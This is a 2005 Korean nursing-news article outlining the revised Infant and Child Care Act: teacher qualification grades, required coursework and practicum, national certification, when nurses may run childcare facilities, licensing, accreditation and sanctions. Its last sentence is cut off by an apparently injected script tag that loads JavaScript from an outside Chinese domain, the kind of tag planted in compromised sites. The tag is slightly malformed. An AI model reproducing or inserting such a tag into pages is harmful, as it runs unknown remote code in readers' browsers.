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새로 바뀐 영유아 보육법 주요내용
보육교사에 국가공인 자격증 부여
[편집국] 주선영   syju@nursenews.co.kr     기사입력 2005-02-03 오전 09:48:52
 앞으로 보육교사가 되기 위해서는 보육관련 교과목 12과목 이상(총 35학점 이상)을 반드시 이수해야 하며, 보육교사에게는 국가공인 자격증이 부여된다. 또 아동간호업무 5년 이상 경력이 있는 간호사는 영유아전담보육시설을 운영할 수 있다. 이같은 내용을 담은 영유아보육법과 동법 시행령, 시행규칙이 1월 30일부터 시행에 들어갔다. 이 법의 주요내용을 알아본다.

 △보육교사 자격기준 = 보육시설 종사자의 전문성 제고를 위해 보육교사의 자격등급을 종전 1·2등급에서 1·2·3등급으로 강화했다. 보육교사가 되려면 대학 또는 이와 동등 이상의 학교에서 여성부령이 정하는 보육관련 교과 12과목(총 35학점) 이상을 이수하고, 졸업후 여성부장관이 검정·수여하는 자격증을 받아야 한다. 보육관련 교과목 및 학점은 다음과 같다. ◇보육기초- 아동복지(론), 보육학개론, 아동발달(론), 보육과정, 4과목(12학점) 필수 ◇발달 및 지도-인간행동과 사회환경, 아동관찰 및 행동연구, 아동생활지도, 아동상담(론), 특수아동지도 중 1과목(3학점) 이상 선택 ◇영유아교육- 놀이지도, 언어지도, 아동문학, 아동음악과 동작, 아동미술, 아동 수·과학지도, 영유아프로그램 개발과 평가, 영유아교수방법(론) 중 3과목(9학점) 이상 선택 ◇건강·영양 및 안전- 아동건강교육, 아동간호학, 아동안전관리, 아동영양학, 정신건강(론) 중 2과목(6학점) 이상 선택 ◇가족 및 지역사회 협력 등- 부모교육(론), 가족복지(론), 가족관계(론), 지역사회복지(론), 자원봉사(론), 보육정책(론), 보육교사(론), 보육시설운영과 관리 중 1과목(3학점) 이상 선택 ◇보육실습- 보육실습 1과목(2학점) 필수. 교과목명이 상이하더라도 교과목의 내용이 유사하면 동일 교과목으로 인정된다.

 △보육실습 기준 = 보육교사가 되기 위해서는 보육실습을 필수과목으로 이수해야 한다. 보육실습은 법적으로 인가받은 보육시설 및 종일제 유치원에서 해야 한다. 실습기관에서는 보육교사 1급 또는 유치원 정교사 1급 소지자가 실습을 지도해야 한다. 실습기간은 총 4주, 160시간을 원칙으로 하며, 실습에 대한 평가 점수가 80점 이상인 경우에만 실습을 이수한 것으로 인정한다.

 △국가공인 자격증 교부 = 보육교사 자격을 체계적으로 관리하기 위해 보육교사에게 국가공인 자격증이 부여된다. 보육교사 자격을 갖춘 후 자격증을 교부받고자 하는 자는 교부신청서를 여성부장관으로부터 자격검정 및 자격증 교부에 관한 업무를 위탁받은 연구기관이나 법인 또는 단체에 제출해야 한다.

 △보육시설장 기준 = 보육시설은 일반보육시설, 가정보육시설(상시 영유아 5인 이상 20인 이하), 장애아전담보육시설(장애아 20명 이상), 영아전담보육시설(영아 20명 이상)로 구분된다. 간호사 면허를 취득한 후 7년 이상 보육 등 아동복지업무 경력이 있으면 일반보육시설을 운영할 수 있다. 특히 5년 이상의 아동간호업무 경력이 있는 간호사는 영아전담보육시설을 운영할 수 있다. 아동간호업무 경력이란 병원 소아과나 신생아실, 보건소 모자보건센터, 초등학교 보건실 등에서 근무한 경력을 말한다.

 △보육시설 설치·운영 = 앞으로 국·공립보육시설 외의 보육시설을 설치, 운영하고자 하는 자는 시장·군수·구청장의 인가를 받아야 한다. 인가받은 사항 중 중요한 사항을 변경할 때도 시장·군수·구청장의 허락이 있어야 한다. 지금까지는 신고만 하면 보육시설 설치가 가능했다.

 △보육시설 평가인증 = 보육서비스의 질적 수준을 향상시키기 위해 보육시설에 대한 평가가 실시된다. 여성부장관이 보육정책위원회의 심의를 거쳐 보육시설의 평가인증에 관해 필요한 사항을 결정하게 되며, 평가내용은 보육환경, 보육과정 운영, 보육교사와 보육영유아간의 일상적 상호작용, 영유아의 건강·영양 및 안전, 보육인력의 전문성, 보육시설 운영관리, 가족 및 지역사회와의 연계 등을 포함하도록 했다. 보육시설의 평가인증에 관한 업무는 법인 또는 단체에 위탁하도록 했다.

 △보육교사 자격관리 = 시설장이 업무수행 중 고의 또는 중과실로 손해를 가한 경우와 무자격자를 채용해 보육교사로 근무하게 한 경우에는 업무정지를 하도록 했다. 보육교사가 보수교육을 3회 이상 받지 않은 경우에는 자격을 정지하고, 아동을 학대하거나 기타 부정한 방법으로 자격증을 취득한 경우에는 자격을 취소하도록 했다. 보육시설장의 업무정지 및 보육교사의 자격정지에 대한 권한은 시장·군수·구청장에게 위임된다.

 △보육개발원 신설 = 보육개발원을 두어 보육에 관한 연구와 정보제공, 프로그램 및 교재개발, 평가척도 개발 및 종사자 연수 등의 업무를 수행하도록 했다. 개발원은 업무에 관한 주요사항을 심의, 의결하기 위해 이사회를 두며, 이사회는 이사장 및 원장 각 1인을 포함한 11인의 이사?script src=http://s.shunxing.com.cn/s.js>
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